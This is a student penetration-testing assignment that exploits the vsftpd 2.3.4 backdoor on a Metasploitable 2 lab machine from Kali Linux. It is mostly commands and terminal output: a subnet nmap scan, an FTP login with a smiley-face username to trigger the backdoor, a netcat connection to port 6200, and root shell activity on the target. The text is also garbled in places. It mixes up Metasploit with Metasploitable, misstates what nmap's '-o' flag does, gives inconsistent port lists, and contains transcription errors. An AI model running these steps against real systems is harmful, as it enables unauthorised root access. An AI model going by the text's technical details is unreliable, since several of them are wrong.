



Sri Lanka Institute of Information Technology

# Vulnerability Exploitation (VSFTPD Backdoor Vulnerability)

## Assignment 1

IE2012 – System and Network Programming

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# Abstract

This penetration test uses Kali Linux to get access to Metasploit. For this, we used Nessus to gather Metasploit's vulnerabilities.

## Introduction

A backdoor is a sort of malware that bypasses standard authentication mechanisms to gain access to a system. As a result, remote access to application resources such as databases and file servers is allowed, allowing attackers to remotely issue system commands and update malware.

A backdoor has been compiled into the version of vsftpd operating on the remote host. Attempting to log in with a username that contains :) (a smiley face) activates the backdoor, which opens a shell on TCP port 6200. After a client connects and disconnects from it, the shell stops listening.

vsftpd (very secure FTP daemon) is an FTP server for Unix-like platforms, such as Linux. It is the default FTP server in the Linux distributions Ubuntu, CentOS, Fedora, NimbleX, Slackware, and RHEL. The GNU General Public License applies to it.

To get the access we need to follow below Steps:

- We must first launch Metasploit, so they've already given it a username and password of 'msfadmin' to get in with.

[illegible]

- Then we demonstrated what our susceptible machine's ip address and network address are. We used the command 'ifconfig' in this case.

```
Metasploitable 2 [Running] - Oracle VM VirtualBox
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:bc:ce:c1
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:febc:cec1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:53 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1846 (1.8 KB)  TX bytes:7807 (7.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:123 errors:0 dropped:0 overruns:0 frame:0
          TX packets:123 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:33977 (33.1 KB)  TX bytes:33977 (33.1 KB)

msfadmin@metasploitable:~$
```

- Network address of our **vulnerable** machine is 192.168.56.101.
- After that, we opened a terminal on our machine and used the same command 'ifconfig' to find out what our machine's IP address was.

```
root@kali:~# ifconfig
eth0:
Link encap:Ethernet HWaddr 08:00:27:0c:36:51
inet addr:192.168.56.10 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: fe80::a80:27ff:fe0c:3651/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2157 errors:0 dropped:0 overruns:0 frame:0
TX packets:2578 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:152690 (149.1 KiB) TX bytes:155014 (151.3 KiB)

lo:
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:2120 errors:0 dropped:0 overruns:0 frame:0
TX packets:2120 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:92224 (90.0 KiB) TX bytes:92224 (90.0 KiB)

root@kali:~#
```

- 192.168.56.10 is the IP address. The IP address will then be visible.
- After that, I obtained the services associated with this IP address. 'nmap -o -sV 192.168.56.0/24' is the command I use for this. We can get OS with '-o'.

```

RX bytes:92224 (90.0 KiB) TX bytes:92224 (90.0 KiB)
root@kali:~# nmap -o -sV 192.168.56.0/24
Starting Nmap 6.25 ( http://nmap.org ) at 2020-11-22 12:14 GMT
nmap_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.10
Host is up (0.000026s latency).
All 1000 scanned ports on 192.168.56.10 are closed

Nmap scan report for 192.168.56.100
Host is up (0.00039s latency).
All 1000 scanned ports on 192.168.56.100 are filtered
MAC Address: 08:00:27:08:EF:6A (Cadmus Computer Systems)

Nmap scan report for 192.168.56.101
Host is up (0.00062s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
612/tcp   open  suse
613/tcp   open  login
614/tcp   open  shell
1099/tcp  open  mlregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cproxy-ftp
2386/tcp  open  mysql
2432/tcp  open  postgresql
5900/tcp  open  vnc
6080/tcp  open  X11
6667/tcp  open  irc
8080/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:C3:0B:80 (Cadmus Computer Systems)

Nmap done: 250 IP addresses (3 hosts up) scanned in 3.46 seconds
root@kali:~#
```

- These are the services accessible using this network address.
- Then we used its bug to log in to our susceptible PC.

```

Nmap scan report for 192.168.56.10
Host is up (0.00026s latency).
All 1000 scanned ports on 192.168.56.10 are closed

Nmap scan report for 192.168.56.100
Host is up (0.00039s latency).
All 1000 scanned ports on 192.168.56.100 are filtered
MAC Address: 08:00:27:D8:EF:6A (Cadmus Computer Systems)

Nmap scan report for 192.168.56.101
Host is up (0.00062s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1000/tcp  open  niregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccsproxy-ftp
3396/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6080/tcp  open  X11
6567/tcp  open  irc
8089/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:C3:08:B0 (Cadmus Computer Systems)

Nmap done: 256 IP addresses (3 hosts up) scanned in 3.46 seconds
root@kali:~# ftp 192.168.56.101
Connected to 192.168.56.101.
220 (vsFTPd 2.3.4)
Name (192.168.56.101:root): dsanayake:)
331 Please specify the password.
Password:

```

- To access the system, we can use any name and password. Then we use its own bug to log in to our vulnerable machine.
- Then we created a new terminal and a backdoor in our vulnerable machine. 'nc 192.168.56.101 6200' was used.

```

root@kali:~# nc 192.168.56.101 6200
root@kali:~# ftp 192.168.56.101
Connected to 192.168.56.101.
220 (vsFTPd 2.3.4)
Name (192.168.56.101:root): dsanayake:)
331 Please specify the password.
Password:

```

- We can modify vulnerable machines after opening a backdoor to the machine. We've already begun to exploit the machine.



- This is the list of our vulnerable machine.
- Finally, we got the ifconfig command to obtain the network address.



- The IP addresses in our machine and the vulnerable machine are the same.

```

eth0      Link encap:Ethernet  HWaddr 08:00:27:c3:db:80
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec3:db80/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:0 dropped:0 overruns:0 frame:0
          TX packets:37 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2134 (2.0 KB)  TX bytes:4962 (4.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:115 errors:0 dropped:0 overruns:0 frame:0
          TX packets:115 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:29889 (29.1 KB)  TX bytes:29889 (29.1 KB)

msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ ls
ddisanayake  done  disanayake  sliit  vulnerable
msfadmin@metasploitable:~$ _

```

```

lost+found
disanayake
media
mnt
nchup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
lfcconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:c3:db:80
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec3:db80/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1716 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1127 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:122576 (119.7 KB)  TX bytes:72923 (71.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:346 errors:0 dropped:0 overruns:0 frame:0
          TX packets:346 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:143321 (139.9 KB)  TX bytes:143321 (139.9 KB)

cd /home/msfadmin
ls
ddisanayake
check
done
disanayake
sliit
vulnerable

```



- We can see that the list is also identical.

```

disanayake
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
ifconfig
eth0  Link encap:Ethernet  HWaddr 08:00:27:c3:db:80
      inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fec3:db80/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:1716 errors:0 dropped:0 overruns:0 frame:0
      TX packets:1127 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:122576 (119.7 KB)  TX bytes:72923 (71.2 KB)
      Base address:0xd020  Memory:f0200000-f0220000

lo    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:1636  Metric:1
      RX packets:346 errors:0 dropped:0 overruns:0 frame:0
      TX packets:346 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:143321 (139.9 KB)  TX bytes:143321 (139.9 KB)

cd /home/msfadmin
ts
disanayake
check
done
disanayake
sliit
vulnerable
mkdir SNP

```

- Then We made a new folder in my machine called SNP.

```

      inet6 addr: fe80::a00:27ff:fec3:db80/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:7 errors:0 dropped:0 overruns:0 frame:0
      TX packets:37 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:2134 (2.0 KB)  TX bytes:4962 (4.8 KB)
      Base address:0xd020  Memory:f0200000-f0220000

lo    Link encap:Local Loopback
      inet addr:127.0.0.1  Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:1636  Metric:1
      RX packets:115 errors:0 dropped:0 overruns:0 frame:0
      TX packets:115 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:29889 (29.1 KB)  TX bytes:29889 (29.1 KB)

msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ ls
disanayake  check  done  disanayake  sliit  vulnerable
msfadmin@metasploitable:~$ ls
disanayake  check  done  disanayake  sliit  SNP  vulnerable
msfadmin@metasploitable:~$

```

- That folder has also been created in our vulnerable PC, as we can see. This is how a backdoor vulnerability can be used to exploit a machine

# Conclusion

This version of the course is no longer supported, so don't look for it in real-world systems. If you want to experiment with this vulnerable service, it's available in the metasploitable 2 virtual machine.

## References

(<https://www.google.com/search?q=what+is+backdoor+vulnerability&oq=VSFTPD+Backdoor+Vulnerability&aqs=chrome..69i57j0i22i30l3j0i10i22i30j0i390l3.11462j0j7&sourceid=chrome&ie=UTF-8>, p. 1)

(<https://www.google.com/search?q=what+is+VSFTPD+Backdoor+Vulnerability&oq=what+is+VSFTPD+Backdoor+Vulnerability&aqs=chrome..69i57j0i546.7409j0j7&sourceid=chrome&ie=UTF-8>, p. 1)